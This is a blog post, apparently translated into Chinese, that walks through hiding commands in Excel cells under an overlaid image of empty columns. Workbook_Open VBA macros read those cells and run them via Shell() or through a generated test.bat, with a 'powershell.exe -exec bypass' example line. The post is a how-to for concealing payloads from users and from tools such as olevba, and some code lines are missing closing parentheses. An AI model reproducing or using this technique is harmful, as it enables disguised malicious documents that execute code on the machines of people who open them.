Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1247912
  • 博文数量: 1096
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 11060
  • 用 户 组: 普通用户
  • 注册时间: 2018-03-07 15:17
个人简介

linux工程师,RHCE

文章分类

全部博文(1096)

文章存档

2023年(84)

2022年(314)

2021年(251)

2020年(244)

2019年(176)

2018年(27)

我的朋友

分类: 系统运维

2020-10-04 22:39:58

注意:仅对文档运行oledump或olevba之类的工具将返回宏。

此时你会看到,该宏正在从特定列中提取代码并使用Shell()执行该代码,但该代码显然非常可疑:

而且,如果我们导航到代码所在的BG1,我们不会立即看到任何可疑的东西:但是,如果将鼠标悬停在BG1上(或者稍微靠近一下并注意到未对齐的列),那么你会看到在代码上覆盖了一个图像:

显然,更有耐心的人可以完善空列的屏幕截图,并将其覆盖在代码顶部以使其不那么引人注意。揭示从工作表中提取的代码的另一种方法是使用MsgBox:

1. 一组要覆盖在代码顶部的空列的屏幕截图,例如:

2. 从工作簿中提取代码并运行数据的宏:

			
  1. Private Sub Workbook_Open() 
  2. Data = Sheet1.Range("BG1"
  3. Shell(Data) 
  4. End Sub 

Data = Sheet1.Range("BG1")仅查看位于BG1的行,提取该行中的所有内容并将其放在变量Data中。

3. 打开文档并在用户单击“启用内容”后将提取并执行的代码。

			
  1. powershell.exe -exec bypass -C echo "Hello world" > C:\Users\Desktop\Conduct\Desktop\test.txt 

将代码插入所需的任何列后,只需将空列的图像插入代码上方(插入>插图>图片)。

然后将宏插入ThisWorkbook并更改Range()部分以与你的列匹配。因此,如果你将数据插入A列并且位于第一行,它就是Range("A1")。

将多行写入文件

向文件写入多行只是小菜一碟,只需要添加几行代码即可。

使用的宏代码如下所示:

			
  1. Private Sub Workbook_Open() 
  2. 1. Dim Path As String 
  3. 2. Dim FileNumber As Integer 
  4. 3. FileNumber = FreeFile 
  5. 4. Data = Sheet1.Range("BG1"
  6. 5. Data2 = Sheet1.Range("BG2"
  7. 6. Path = "test.bat" 
  8. 7. Open Path For Output As FileNumber 
  9. 8.    Print #FileNumber, Data 
  10. 9.    Print #FileNumber, Data2 
  11. 10.    Close FileNumber 
  12. 11. Shell(Path) 
  13. End Sub 

第1-3行是静态的,保持原样,它们只是定义使用的变量。第4-6行是动态的。你将需要根据excel工作表将4和5中的字符串更改为代码所在的位置。将第6行更改为所需的文件路径。

第7-9行也是动态的,它们仅打开文件并将已提取的数据写入文件。特别是第8和9行是负责将数据写入文件的行。

只需将要写入文件的代码插入到工作簿中,并记下该文件所在的列和行,并更改Data&Data1变量以与你的列和行匹配(如果需要的话,添加更多的变量)。然后,将工作簿中的代码与空行的屏幕截图叠加,然后开始就可以了!《linux就该这么学》不错的linux自学书籍


阅读(1145) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~